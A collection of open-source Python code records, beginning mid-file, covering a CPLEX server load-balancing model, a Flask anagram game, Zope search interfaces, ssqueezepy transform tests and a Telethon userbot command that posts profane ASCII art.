1, \"server001\"),\r\n (\"user005\", 0, 1, \"server001\"),\r\n (\"user006\", 0, 2, \"server001\"),\r\n (\"user007\", 0, 4, \"server001\"),\r\n (\"user008\", 0, 1, \"server001\"),\r\n (\"user009\", 5, 1, \"server001\"),\r\n (\"user010\", 7, 1, \"server001\"),\r\n (\"user011\", 4, 5, \"server001\"),\r\n (\"user012\", 0, 4, \"server001\"),\r\n (\"user062\", 0, 1, \"server006\"),\r\n (\"user063\", 3, 5, \"server006\"),\r\n (\"user064\", 0, 1, \"server006\"),\r\n (\"user065\", 0, 3, \"server006\"),\r\n (\"user066\", 3, 1, \"server006\"),\r\n (\"user067\", 0, 1, \"server006\"),\r\n (\"user068\", 0, 1, \"server006\"),\r\n (\"user069\", 0, 2, \"server006\"),\r\n (\"user070\", 3, 2, \"server006\"),\r\n (\"user071\", 0, 1, \"server006\"),\r\n (\"user072\", 5, 3, \"server006\"),\r\n (\"user073\", 0, 1, \"server006\"),\r\n (\"user074\", 0, 1, \"server006\"),\r\n (\"user075\", 0, 2, \"server007\"),\r\n (\"user076\", 1, 1, \"server007\"),\r\n (\"user077\", 1, 1, \"server007\"),\r\n (\"user078\", 0, 1, \"server007\"),\r\n (\"user079\", 0, 3, \"server007\"),\r\n (\"user080\", 0, 1, \"server007\"),\r\n (\"user081\", 4, 1, \"server007\"),\r\n (\"user082\", 1, 1, \"server007\"),\r\n (\"user041\", 0, 1, \"server004\"),\r\n (\"user042\", 2, 1, \"server004\"),\r\n (\"user043\", 5, 2, \"server004\"),\r\n (\"user044\", 5, 2, \"server004\"),\r\n (\"user045\", 0, 2, \"server004\"),\r\n (\"user046\", 1, 5, \"server004\"),\r\n (\"user047\", 0, 1, \"server004\"),\r\n (\"user048\", 0, 3, \"server004\"),\r\n (\"user049\", 5, 1, \"server004\"),\r\n (\"user050\", 0, 2, \"server004\"),\r\n (\"user051\", 0, 3, \"server004\"),\r\n (\"user052\", 0, 3, \"server004\"),\r\n (\"user053\", 0, 1, \"server004\"),\r\n (\"user054\", 0, 2, \"server004\"),\r\n (\"user055\", 0, 3, \"server005\"),\r\n (\"user056\", 3, 1, \"server005\"),\r\n (\"user057\", 0, 3, \"server005\"),\r\n (\"user058\", 0, 2, \"server005\"),\r\n (\"user059\", 0, 1, \"server005\"),\r\n (\"user060\", 0, 5, \"server005\"),\r\n (\"user061\", 0, 2, \"server005\")\r\n ]\r\n\r\n# ----------------------------------------------------------------------------\r\n# Prepare the data for modeling\r\n# ----------------------------------------------------------------------------\r\nDEFAULT_MAX_PROCESSES_PER_SERVER = 50\r\n\r\n\r\n# ----------------------------------------------------------------------------\r\n# Build the model\r\n# ----------------------------------------------------------------------------\r\nclass LoadBalancingModel(AbstractModel):\r\n def __init__(self, **kwargs):\r\n AbstractModel.__init__(self, 'load_balancing', **kwargs)\r\n # raw data\r\n self.max_processes_per_server = DEFAULT_MAX_PROCESSES_PER_SERVER\r\n self.servers = []\r\n self.users = []\r\n # decision objects\r\n self.active_var_by_server = {}\r\n self.assign_user_to_server_vars = {}\r\n self.number_of_active_servers = None\r\n self.number_of_migrations = None\r\n self.max_sleeping_workload = None\r\n\r\n def load_data(self, servers, users, max_process_per_server=DEFAULT_MAX_PROCESSES_PER_SERVER):\r\n self.servers = servers\r\n self.users = [TUser(*user_row) for user_row in users]\r\n self.max_processes_per_server = max_process_per_server\r\n\r\n def clear(self):\r\n AbstractModel.clear(self)\r\n self.active_var_by_server = {}\r\n self.assign_user_to_server_vars = {}\r\n self.number_of_active_servers = None\r\n\r\n def setup_variables(self):\r\n all_servers = self.servers\r\n all_users = self.users\r\n\r\n self.active_var_by_server = self.binary_var_dict(all_servers, name='isActive')\r\n\r\n def user_server_pair_namer(u_s):\r\n u, s = u_s\r\n return '%s_to_%s' % (u.id, s)\r\n\r\n self.assign_user_to_server_vars = self.binary_var_matrix(all_users, all_servers, user_server_pair_namer)\r\n\r\n @staticmethod\r\n def _is_migration(user, server):\r\n \"\"\" Returns True if server is not the user's current\r\n Used in setup of constraints.\r\n \"\"\"\r\n return server != user.current_server\r\n\r\n def setup_constraints(self):\r\n mdl = self\r\n all_servers = self.servers\r\n all_users = self.users\r\n\r\n max_proc_per_server = self.max_processes_per_server\r\n\r\n mdl.add_constraints(\r\n mdl.sum(self.assign_user_to_server_vars[u, s] * u.running for u in all_users) <= max_proc_per_server\r\n for s in all_servers)\r\n\r\n # each assignment var is <= active_server(s)\r\n for s in all_servers:\r\n for u in all_users:\r\n ct_name = 'ct_assign_to_active_{0!s}_{1!s}'.format(u, s)\r\n mdl.add_constraint(self.assign_user_to_server_vars[u, s] <= self.active_var_by_server[s], ct_name)\r\n\r\n # sum of assignment vars for (u, all s in servers) == 1\r\n for u in all_users:\r\n ct_name = 'ct_unique_server_%s' % (u[0])\r\n mdl.add_constraint(mdl.sum((self.assign_user_to_server_vars[u, s] for s in all_servers)) == 1.0, ct_name)\r\n\r\n def setup_objective(self):\r\n mdl = self\r\n self.number_of_active_servers = mdl.sum((self.active_var_by_server[svr] for svr in self.servers))\r\n self.add_kpi(self.number_of_active_servers, \"Number of active servers\")\r\n\r\n self.number_of_migrations = mdl.sum(\r\n self.assign_user_to_server_vars[u, s] for u in self.users for s in self.servers if\r\n self._is_migration(u, s))\r\n mdl.add_kpi(self.number_of_migrations, \"Total number of migrations\")\r\n\r\n max_sleeping_workload = mdl.integer_var(name=\"max_sleeping_processes\")\r\n for s in self.servers:\r\n ct_name = 'ct_define_max_sleeping_%s' % s\r\n mdl.add_constraint(\r\n mdl.sum(\r\n self.assign_user_to_server_vars[u, s] * u.sleeping for u in self.users) <= max_sleeping_workload,\r\n ct_name)\r\n mdl.add_kpi(max_sleeping_workload, \"Max sleeping workload\")\r\n self.max_sleeping_workload = max_sleeping_workload\r\n # Set objective function\r\n mdl.minimize(self.number_of_active_servers)\r\n\r\n def run(self, **kwargs):\r\n mdl = self\r\n mdl.ensure_setup()\r\n mdl.print_information()\r\n # build an ordered sequence of goals\r\n ordered_kpi_keywords = [\"servers\", \"migrations\", \"sleeping\"]\r\n ordered_goals = [mdl.kpi_by_name(k) for k in ordered_kpi_keywords]\r\n\r\n return mdl.solve_lexicographic(ordered_goals, **kwargs)\r\n\r\n def report(self):\r\n mdl = self\r\n active_servers = sorted([s for s in mdl.servers if mdl.active_var_by_server[s].solution_value == 1])\r\n print(\"Active Servers: {}\".format(active_servers))\r\n print(\"*** User assignment ***\")\r\n for (u, s) in sorted(mdl.assign_user_to_server_vars):\r\n if mdl.assign_user_to_server_vars[(u, s)].solution_value == 1:\r\n print(\"{} uses {}, migration: {}\".format(u, s, \"yes\" if mdl._is_migration(u, s) else \"no\"))\r\n print(\"*** Servers sleeping processes ***\")\r\n for s in active_servers:\r\n sleeping = sum(self.assign_user_to_server_vars[u, s].solution_value * u.sleeping for u in self.users)\r\n print(\"Server: {} #sleeping={}\".format(s, sleeping))\r\n\r\n def save_solution_as_json(self, json_file):\r\n \"\"\"Saves the solution for this model as JSON.\r\n\r\n Note that this is not a CPLEX Solution file, as this is the result of post-processing a CPLEX solution\r\n \"\"\"\r\n mdl = self\r\n solution_dict = {}\r\n # active server\r\n active_servers = sorted([s for s in mdl.servers if mdl.active_var_by_server[s].solution_value == 1])\r\n solution_dict[\"active servers\"] = active_servers\r\n\r\n # sleeping processes by server\r\n sleeping_processes = {}\r\n for s in active_servers:\r\n sleeping = sum(self.assign_user_to_server_vars[u, s].solution_value * u.sleeping for u in self.users)\r\n sleeping_processes[s] = sleeping\r\n solution_dict[\"sleeping processes by server\"] = sleeping_processes\r\n\r\n # user assignment\r\n user_assignment = []\r\n for (u, s) in sorted(mdl.assign_user_to_server_vars):\r\n if mdl.assign_user_to_server_vars[(u, s)].solution_value == 1:\r\n n = {\r\n 'user': u.id,\r\n 'server': s,\r\n 'migration': \"yes\" if mdl._is_migration(u, s) else \"no\"\r\n }\r\n user_assignment.append(n)\r\n solution_dict['user assignment'] = user_assignment\r\n json_file.write(json.dumps(solution_dict, indent=3).encode('utf-8'))\r\n\r\n\r\nclass DefaultLoadBalancingModel(LoadBalancingModel):\r\n def __init__(self, context=None, **kwargs):\r\n LoadBalancingModel.__init__(self, context=context, **kwargs)\r\n self.load_data(SERVERS, USERS)\r\n\r\n\r\n# ----------------------------------------------------------------------------\r\n# Solve the model and display the result\r\n# ----------------------------------------------------------------------------\r\nif __name__ == '__main__':\r\n \"\"\"DOcplexcloud credentials can be specified with url and api_key in the code block below.\r\n\r\n Alternatively, Context.make_default_context() searches the PYTHONPATH for\r\n the following files:\r\n\r\n * cplex_config.py\r\n * cplex_config_.py\r\n * docloud_config.py (must only contain context.solver.docloud configuration)\r\n\r\n These files contain the credentials and other properties. For example,\r\n something similar to::\r\n\r\n context.solver.docloud.url = \"https://docloud.service.com/job_manager/rest/v1\"\r\n context.solver.docloud.key = \"example api_key\"\r\n \"\"\"\r\n url = None # put your url here\r\n key = None # put your api key here\r\n\r\n lbm = DefaultLoadBalancingModel()\r\n\r\n # Run the model. If a key has been specified above, the model will run on\r\n # IBM Decision Optimization on cloud.\r\n if lbm.run(url=url, key=key):\r\n lbm.report()\r\n with get_environment().get_output_stream(\"solution.json\") as fp:\r\n lbm.save_solution_as_json(fp)\r\n", "source": "UKPLab/vldb2018-sherlock", "license": "Apache-2.0"} {"text": "\"\"\"\nSimple Flask web site \n\"\"\"\n\nimport flask\n# from flask import render_template\nfrom flask import request # Data from a submitted form\nfrom flask import url_for\nfrom flask import jsonify # For AJAX transactions\n\nimport json\nimport logging\nimport argparse # For the vocabulary list\nimport sys\n\n# Our own modules\nfrom letterbag import LetterBag\nfrom vocab import Vocab\nfrom jumble import jumbled\n\n###\n# Globals\n###\napp = flask.Flask(__name__)\nimport CONFIG\napp.secret_key = CONFIG.COOKIE_KEY # Should allow using session variables\n\n#\n# One shared 'Vocab' object, read-only after initialization,\n# shared by all threads and instances. Otherwise we would have to\n# store it in the browser and transmit it on each request/response cycle, \n# or else read it from the file on each request/responce cycle,\n# neither of which would be suitable for responding keystroke by keystroke.\n#\n\ndef get_command_line():\n \"\"\"\n Returns a namespace of command-line argument values\n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Vocabulary anagram through a web server\")\n parser.add_argument(\"vocab\", type=argparse.FileType('r'),\n default=\"data/vocab.txt\",\n help=\"A file containing vocabulary words, one per line\")\n args = parser.parse_args()\n return args\n\nCMDLN = get_command_line()\nWORDS = Vocab( CMDLN.vocab )\n\n###\n# Pages\n###\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n flask.g.vocab = WORDS.as_list();\n flask.session[\"target_count\"] = min( len(flask.g.vocab), CONFIG.SUCCESS_COUNT )\n flask.session[\"jumble\"] = jumbled(flask.g.vocab, flask.session[\"target_count\"])\n flask.session[\"matches\"] = [ ]\n app.logger.debug(\"Session variables have been set\")\n assert flask.session[\"matches\"] == [ ]\n assert flask.session[\"target_count\"] > 0\n app.logger.debug(\"At least one seems to be set correctly\")\n return flask.render_template('vocab.html')\n\n@app.route(\"/keep_going\")\ndef keep_going():\n \"\"\"\n After initial use of index, we keep the same scrambled\n word and try to get more matches\n \"\"\"\n flask.g.vocab = WORDS.as_list();\n return flask.render_template('vocab.html')\n \n\n@app.route(\"/success\")\ndef success():\n return flask.render_template('success.html')\n\n#######################\n# Form handler. \n# CIS 322 (399se) note:\n# You'll need to change this to a\n# a JSON request handler\n#######################\n\n@app.route(\"/_check\", methods = [\"POST\"])\ndef check():\n \"\"\"\n User has submitted the form with a word ('attempt')\n that should be formed from the jumble and on the\n vocabulary list. We respond depending on whether\n the word is on the vocab list (therefore correctly spelled),\n made only from the jumble letters, and not a word they\n already found.\n \"\"\"\n app.logger.debug(\"Entering check\")\n\n ## The data we need, from form and from cookie\n text = request.form[\"attempt\"]\n jumble = flask.session[\"jumble\"]\n matches = flask.session.get(\"matches\", []) # Default to empty list\n\n ## Is it good? \n in_jumble = LetterBag(jumble).contains(text)\n matched = WORDS.has(text)\n\n ## Respond appropriately \n if matched and in_jumble and not (text in matches):\n ## Cool, they found a new word\n matches.append(text)\n flask.session[\"matches\"] = matches\n elif text in matches:\n flask.flash(\"You already found {}\".format(text))\n elif not matched:\n flask.flash(\"{} isn't in the list of words\".format(text))\n elif not in_jumble:\n flask.flash('\"{}\" can\\'t be made from the letters {}'.format(text,jumble))\n else:\n app.logger.debug(\"This case shouldn't happen!\")\n assert False # Raises AssertionError\n\n ## Choose page: Solved enough, or keep going? \n if len(matches) >= flask.session[\"target_count\"]:\n return flask.redirect(url_for(\"success\"))\n else:\n return flask.redirect(url_for(\"keep_going\"))\n\n###############\n# AJAX request handlers \n# These return JSON, rather than rendering pages. \n###############\n\n@app.route(\"/_example\")\ndef example():\n \"\"\"\n Example ajax request handler\n \"\"\"\n app.logger.debug(\"Got a JSON request\");\n rslt = { \"key\": \"value\" }\n return jsonify(result=rslt)\n\n\n#################\n# Functions used within the templates\n#################\n\n@app.template_filter( 'filt' )\ndef format_filt( something ):\n \"\"\"\n Example of a filter that can be used within\n the Jinja2 code\n \"\"\"\n return \"Not what you asked for\"\n \n###################\n# Error handlers\n###################\n@app.errorhandler(404)\ndef error_404(e):\n app.logger.warning(\"++ 404 error: {}\".format(e))\n return render_template('404.html'), 404\n\n@app.errorhandler(500)\ndef error_500(e):\n app.logger.warning(\"++ 500 error: {}\".format(e))\n assert app.debug == False # I want to invoke the debugger\n return render_template('500.html'), 500\n\n@app.errorhandler(403)\ndef error_403(e):\n app.logger.warning(\"++ 403 error: {}\".format(e))\n return render_template('403.html'), 403\n\n\n\n#############\n\n# Set up to run from cgi-bin script, from\n# gunicorn, or stand-alone.\n#\n\nif __name__ == \"__main__\":\n # Standalone. \n app.debug = True\n app.logger.setLevel(logging.DEBUG)\n print(\"Opening for global access on port {}\".format(CONFIG.PORT))\n app.run(port=CONFIG.PORT, host=\"0.0.0.0\")\nelse:\n # Running from cgi-bin or from gunicorn WSGI server, \n # which makes the call to app.run. Gunicorn may invoke more than\n # one instance for concurrent service.\n #FIXME: Debug cgi interface \n app.debug=False\n\n", "source": "meganmcmillan/proj3-anagrams", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Copyright \u00a9 2012, 2013, 2014 OnlineGroups.net and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\nfrom __future__ import absolute_import, unicode_literals\nfrom zope.contentprovider.interfaces import IContentProvider\nfrom zope.interface import Interface\nfrom zope.schema import TextLine, List, Bool, Int, ASCIILine, Text\n\n\nclass IGSSearchFolder(Interface):\n\n pass\n\n\nclass IGSSearchResults(Interface):\n \"\"\"The generic search results\"\"\"\n\n s = TextLine(\n title=\"Search Text\",\n description=\"Text that is searched for\",\n required=False,\n default=\"\"\n )\n\n gs = TextLine(\n title=\"Group Identifier\",\n description=\"Unique Identifier for a group\",\n required=False\n )\n\n g = List(\n title=\"Group IDs\",\n description=\"The groups to search in; defaults to all visible groups\",\n required=False,\n default=[],\n value_type=gs,\n unique=True,\n )\n\n ais = TextLine(\n title='Author ID',\n description='Unique Identifier of an author',\n required=False\n )\n\n a = List(\n title=\"Author IDs\",\n description=\"The author to search with; defaults to any\",\n required=False,\n default=[],\n value_type=ais,\n unique=True,\n )\n\n l = Int(\n title=\"Limit\",\n description=\"Number of items to show in the results\",\n required=False,\n min=1,\n default=20,\n )\n\n i = Int(\n title=\"Start Index\",\n description=\"The index of the first item show in the results\",\n required=False,\n min=0,\n default=0,\n )\n\n t = Bool(\n title=\"View Topics\",\n description=\"Whether the topic-results should be viewed\",\n required=False,\n default=True\n )\n\n p = Bool(\n title=\"View Posts\",\n description=\"Whether the post-results should be viewed\",\n required=False,\n default=False\n )\n\n f = Bool(\n title=\"View Files\",\n description=\"Whether the file-results should be viewed\",\n required=False,\n default=True\n )\n\n r = Bool(\n title=\"View Profiles\",\n description=\"Whether the profile-results should be viewed\",\n required=False,\n default=True\n )\n\n mg = Bool(\n title=\"Member groups only\",\n description=\"Limit the search to groups in which the user is a \"\n \"member only\",\n required=False,\n default=False\n )\n\n ms = ASCIILine(\n title=\"MIME Type\",\n description=\"MIME Type of the returned file (file search only).\",\n required=False\n )\n m = List(\n title='MIME Types',\n description=\"The file types to search for (file search only).\",\n required=False,\n default=[],\n value_type=ms,\n unique=True,\n )\n\n st = Bool(\n title=\"Show Thumbnails\",\n description=\"Whether the thumbnails for images should be shown\",\n required=False,\n default=None\n )\n\n\nclass IGSTopicResultsContentProvider(IContentProvider, IGSSearchResults):\n \"\"\"The GroupServer Topic Results Content Provider\"\"\"\n\n pageTemplateFileName = Text(title=\"Page Template File Name\",\n description=\"\"\"The name of the ZPT file that is used to render the\n results.\"\"\",\n required=False,\n default=\"browser/templates/topicResults.pt\")\n\n keywordLimit = Int(\n title=\"Keyword Limit\",\n description=\"The number of keywords to show in the results\",\n required=False,\n min=0,\n default=6,\n )\n\n\nclass IGSPostResultsContentProvider(IContentProvider, IGSSearchResults):\n \"\"\"The GroupServer Post Results Content Provider\"\"\"\n\n pageTemplateFileName = Text(title=\"Page Template File Name\",\n description=\"\"\"The name of the ZPT file that is used to render the\n results.\"\"\",\n required=False,\n default=\"browser/templates/postResultsFull.pt\")\n\n authorIds = List(\n title='Author Ids',\n description='Author IDs',\n value_type=TextLine(title='Author ID'),\n required=False\n )\n\n\nclass IGSFileResultsContentProvider(IContentProvider, IGSSearchResults):\n \"\"\"The GroupServer File Results Content Provider\"\"\"\n\n pageTemplateFileName = Text(title=\"Page Template File Name\",\n description=\"\"\"The name of the ZPT file that is used to render the\n results.\"\"\",\n required=False,\n default=\"browser/templates/fileResults.pt\")\n\n searchPostedFiles = Bool(title='Search Posted Files',\n description='If True, the files that the users have posted to'\n 'their groups are searched.',\n required=False,\n default=True)\n\n searchSiteFiles = Bool(title='Search Site Files',\n description='If True, the files in the Web site, outside those'\n 'posted to groups, are searched.',\n required=False,\n default=True)\n\n\nclass IGSProfileResultsContentProvider(IContentProvider, IGSSearchResults):\n \"\"\"The GroupServer Profile Results Content Provider\"\"\"\n\n\nclass IGSFileSearchResult(Interface):\n pass\n\n\nclass IGSSearchTextTokens(Interface):\n \"\"\"Splits the search text into tokens, both by phrase and by\n keywords\n \"\"\"\n\n searchText = TextLine(title='Search Text',\n description='Text that is searched for',\n required=False,\n default='')\n\n phraseDelimiter = TextLine(title='Phrase Delimiter',\n description='The string that is used to delimit phrases',\n required=False,\n default='\"')\n\n nonwords = List(title='Non Words',\n description='The list of supplied keywords that are also '\n 'stop-words. They are not returned by \"keywords\".',\n value_type=TextLine(title='Word'),\n required=True)\n\n keywords = List(title='Keywords',\n description='The list of keywords in the search text, ignoring '\n 'phrasing. The text is broken into keywords based on whitespace, '\n 'with \"phraseDelimiter\" characters stripped. In addition, any'\n 'word that is a stop word is dropped',\n value_type=TextLine(title='Keyword'),\n max_length=7,\n required=True)\n\n phrases = List(title='Phrases',\n description='The list of keywords in the search text, broken '\n 'up by phrases. The text that is not in a phrase is split '\n 'on whitespace.',\n value_type=TextLine(title='Phrase'),\n max_length=7,\n required=True)\n", "source": "groupserver/Products.GSSearch", "license": "ZPL-2.1"} {"text": "# -*- coding: utf-8 -*-\nimport os\nimport pytest\nimport numpy as np\nfrom ssqueezepy import ssq_cwt, issq_cwt, ssq_stft, issq_stft\nfrom ssqueezepy import cwt, icwt, stft, istft\nfrom ssqueezepy._stft import get_window\nfrom ssqueezepy.toolkit import lin_band\ntry:\n from librosa import stft as lstft\nexcept Exception as e:\n import logging\n logging.warn(\"librosa import failed with:\\n%s\" % str(e))\n\n\nVIZ = 0 # set to 1 to enable various visuals and run without pytest\nos.environ['SSQ_GPU'] = '0' # in case concurrent tests set it to '1'\n\n\n#### Helper methods ##########################################################\ndef _t(min, max, N):\n return np.linspace(min, max, N, endpoint=False)\n\ndef cos_f(freqs, N=128, phi=0):\n return np.concatenate([np.cos(2 * np.pi * f * (_t(i, i + 1, N) + phi))\n for i, f in enumerate(freqs)])\n\ndef mad_rms(x, xrec):\n \"\"\"Reconstruction error metric; scale-invariant, robust to outliers\n and partly sparsity. https://stats.stackexchange.com/q/495242/239063\"\"\"\n return np.mean(np.abs(x - xrec)) / np.sqrt(np.mean(x**2))\n\n#### Test signals ############################################################\ndef echirp(N):\n t = _t(0, 10, N)\n return np.cos(2 * np.pi * 3 * np.exp(t / 3)), t\n\ndef lchirp(N):\n t = _t(0, 10, N)\n return np.cos(np.pi * t**2), t\n\n\ndef _freqs(N, freqs):\n x = cos_f(freqs, N // len(freqs))\n ts = _t(0, len(x) / N, len(x))\n return x, ts\n\ndef fast_transitions(N):\n return _freqs(N, np.array([N/100, N/200, N/3, N/20,\n N/3-1, N/50, N/4, N/150]) / 8)\n\ndef low_freqs(N):\n return _freqs(N, [.3, .3, 1, 1, 2, 2])\n\ndef high_freqs(N):\n return _freqs(N, np.array([N/2, N/2-1, N/4, N/3]) / 4)\n\n\n#### Tests ###################################################################\ntest_fns = (echirp, lchirp, fast_transitions, low_freqs, high_freqs)\nwavelet = ('gmw', {'beta': 8, 'dtype': 'float64'})\nth = .1\n\n\ndef test_ssq_cwt():\n errs = []\n for fn in test_fns:\n x, ts = fn(2048)\n for scales in ('log', 'log-piecewise', 'linear'):\n if fn.__name__ == 'low_freqs':\n if scales == 'linear':\n # 'linear' default can't handle low frequencies for large N\n # 'log-piecewise' maps it too sparsely\n continue\n else:\n scales = f'{scales}:maximal'\n\n Tx, *_ = ssq_cwt(x, wavelet, scales=scales, nv=32, t=ts)\n xrec = issq_cwt(Tx, wavelet)\n\n errs.append(round(mad_rms(x, xrec), 5))\n title = \"abs(SSQ_CWT) | {}, scales='{}'\".format(fn.__qualname__,\n scales)\n _maybe_viz(Tx, x, xrec, title, errs[-1])\n assert errs[-1] < th, (errs[-1], fn.__name__, scales)\n print(\"\\nssq_cwt PASSED\\nerrs:\", ', '.join(map(str, errs)))\n\n\ndef test_cwt():\n errs = []\n for fn in test_fns:\n x, ts = fn(2048)\n for l1_norm in (True, False):\n scales = ('log:maximal' if fn.__name__ in ('low_freqs', 'high_freqs')\n else 'log')\n # 'linear' default can't handle low frequencies for large N\n kw = dict(wavelet=wavelet, scales=scales, l1_norm=l1_norm, nv=32)\n\n Wx, *_ = cwt(x, t=ts, **kw)\n xrec = icwt(Wx, one_int=True, **kw)\n\n errs.append(round(mad_rms(x, xrec), 5))\n title = f\"abs(CWT) | l1_norm={l1_norm}\"\n title = \"abs(CWT) | {}, l1_norm={}\".format(fn.__qualname__,\n l1_norm)\n _maybe_viz(Wx, x, xrec, title, errs[-1])\n assert errs[-1] < th, (errs[-1], fn.__name__, f\"l1_norm: {l1_norm}\")\n print(\"\\ncwt PASSED\\nerrs:\", ', '.join(map(str, errs)))\n\n\ndef test_cwt_log_piecewise():\n x, ts = echirp(1024)\n\n wavelet = 'gmw'\n Tx, Wx, ssq_freqs, scales, *_ = ssq_cwt(x, wavelet, scales='log-piecewise',\n t=ts, preserve_transform=True)\n xrec_ssq_cwt = issq_cwt(Tx, 'gmw')\n xrec_cwt = icwt(Wx, wavelet, scales=scales)\n\n err_ssq_cwt = round(mad_rms(x, xrec_ssq_cwt), 5)\n err_cwt = round(mad_rms(x, xrec_cwt), 5)\n assert err_ssq_cwt < .02, err_ssq_cwt\n assert err_cwt < .02, err_cwt\n\n\ndef test_component_inversion():\n def echirp(N):\n t = np.linspace(0, 10, N, False)\n return np.cos(2 * np.pi * np.exp(t / 3)), t\n\n N = 2048\n noise_var = 6\n\n x, ts = echirp(N)\n x *= (1 + .3 * cos_f([1], N)) # amplitude modulation\n xo = x.copy()\n np.random.seed(4)\n x += np.sqrt(noise_var) * np.random.randn(len(x))\n\n wavelet = ('gmw', {'beta': 6})\n Tx, *_ = ssq_cwt(x, wavelet, scales='log:maximal', nv=32, t=ts, flipud=0)\n\n # hand-coded, subject to failure\n bw, slope, offset = .035, .44, .58\n Cs, freqband = lin_band(Tx, slope, offset, bw, norm=(0, 2e-1))\n\n xrec = issq_cwt(Tx, wavelet, Cs, freqband)[0]\n\n axof = np.abs(np.fft.rfft(xo))\n axrecf = np.abs(np.fft.rfft(xrec))\n\n err_sig = mad_rms(xo, xrec)\n err_spc = mad_rms(axof, axrecf)\n print(\"signal MAD/RMS: %.6f\" % err_sig)\n print(\"spectrum MAD/RMS: %.6f\" % err_spc)\n assert err_sig <= .40, f\"{err_sig} > .40\"\n assert err_spc <= .15, f\"{err_spc} > .15\"\n\n\ndef test_stft():\n \"\"\"Ensure every combination of even & odd configs can be handled;\n leave window length unspecified to ensure unspecified inverts unspecified.\n \"\"\"\n th = 1e-14\n for N in (128, 129):\n x = np.random.randn(N)\n for n_fft in (120, 121):\n for hop_len in (1, 2, 3):\n for modulated in (True, False):\n kw = dict(hop_len=hop_len, n_fft=n_fft, modulated=modulated)\n\n Sx = stft(x, dtype='float64', **kw)\n xr = istft(Sx, N=len(x), **kw)\n\n txt = (\"\\nSTFT: (N, n_fft, hop_len, modulated) = ({}, {}, \"\n \"{}, {})\").format(N, n_fft, hop_len, modulated)\n assert len(x) == len(xr), \"%s != %s %s\" % (N, len(xr), txt)\n mae = np.abs(x - xr).mean()\n assert mae < th, \"MAE = %.2e > %.2e %s\" % (mae, th, txt)\n\n\ndef test_ssq_stft():\n \"\"\"Same as `test_stft` except don't test `hop_len` or `modulated` since\n only `1` and `True` are invertible (by the library, and maybe theoretically).\n\n `window_scaling=.5` has >x2 greater MAE for some reason. May look into.\n \"\"\"\n th = 1e-1\n for N in (128, 129):\n x = np.random.randn(N)\n for n_fft in (120, 121):\n for window_scaling in (1., .5):\n if window_scaling == 1:\n window = None\n else:\n window = get_window(window, win_len=n_fft//1, n_fft=n_fft)\n window *= window_scaling\n\n Sx, *_ = ssq_stft(x, window=window, n_fft=n_fft)\n xr = issq_stft( Sx, window=window, n_fft=n_fft)\n\n txt = (\"\\nSSQ_STFT: (N, n_fft, window_scaling) = ({}, {}, {})\"\n ).format(N, n_fft, window_scaling)\n assert len(x) == len(xr), \"%s != %s %s\" % (N, len(xr), txt)\n mae = np.abs(x - xr).mean()\n assert mae < th, \"MAE = %.2e > %.2e %s\" % (mae, th, txt)\n\n\ndef test_stft_vs_librosa():\n try:\n lstft\n except:\n return\n\n np.random.seed(0)\n # try all even/odd combos\n for N in (512, 513):\n for hop_len in (1, 2, 3):\n for n_fft in (512, 513):\n for win_len in (N//8, N//8 - 1):\n x = np.random.randn(N)\n Sx = stft( x, n_fft=n_fft, hop_len=hop_len, win_len=win_len,\n window='hann', modulated=False, dtype='float64')\n lSx = lstft(x, n_fft=n_fft, hop_length=hop_len, win_length=win_len,\n window='hann')\n\n if n_fft % 2 == 0:\n if hop_len == 1:\n lSx = lSx[:, :-1]\n elif (((N % 2 == 0) and hop_len == 2) or\n ((N % 2 == 1) and hop_len == 3)):\n lSx = lSx[:, :-1]\n mae = np.abs(Sx - lSx).mean()\n assert np.allclose(Sx, lSx), (\n \"N={}, hop_len={}, n_fft={}, win_len={}, MAE={}\"\n ).format(N, hop_len, n_fft, win_len, mae)\n\n\ndef _maybe_viz(Wx, xo, xrec, title, err):\n if not VIZ:\n return\n mx = np.abs(Wx).max()\n if 'SSQ' in title:\n Wx = np.pad(np.flipud(Wx), [[5], [0]])\n mx = .1*mx\n else:\n mx = .9*mx\n\n imshow(Wx, abs=1, norm=(0, mx), cmap='turbo', show=1, title=title)\n plot(xo, title=\"Original vs reconstructed | MAD/RMS=%.4f\" % err)\n plot(xrec, show=1)\n\n\nif __name__ == '__main__':\n if VIZ:\n from ssqueezepy.visuals import plot, imshow\n test_ssq_cwt()\n test_cwt()\n test_cwt_log_piecewise()\n test_component_inversion()\n test_stft()\n test_ssq_stft()\n test_stft_vs_librosa()\n else:\n pytest.main([__file__, \"-s\"])\n", "source": "OverLordGoldDragon/ssqueezepy", "license": "MIT"} {"text": "# (c) @Unknown\n# Original written by @Unknown edit by @sudo_zeref\n\nfrom telethon import events\nimport asyncio\nfrom collections import deque\nfrom userbot.events import register\n\n@register(outgoing=True, pattern=\"^.fook$\")\nasync def fuck(e):\n if not e.text[0].isalpha() and e.text[0] not in (\"/\", \"#\", \"@\", \"!\"):\n await e.edit(\"`\\n\u2571\u250f\u2501\u2501\u2501\u2513.. \u250f\u2513\u2571\u250f\u2513\u256d\u2501\u2501\u2501\u256e \u2571\u2571\u250f\u2513 `\"\n \"`\\n\u2571\u2503\u250f\u2501\u2501\u251b.. \u2503\u2503\u2571\u2503\u2503\u2503\u256d\u2501\u256e\u2503\u2571\u2503\u2503 `\"\n \"`\\n\u2571\u2503\u2517\u2501\u2513\u2571.. \u2503\u2503\u2571\u2503\u2503\u2503\u2503\u2571\u2517\u251b\u2503\u2503 `\"\n \"`\\n\u2571\u2503\u250f\u2501\u251b\u2571...\u2503\u2503\u2571\u2503\u2503\u2503\u2503\u2571\u250f\u2513\u2503\u2503 `\"\n \"`\\n\u2571\u2503\u2503\u2571.\u2571.\u2571 \u2503\u2570\u2501\u256f\u2503\u2503\u2570\u2501\u256f\u2503\u2571\u2503\u2503 `\"\n \"`\\n\u2571\u2517\u251b\u2571 \u2571 \u2571 \u2570\u2501\u2501\u2501\u256f\u2570\u2501\u2501\u2501\u256f \u2571\u2571\u2517\u251b `\")\n", 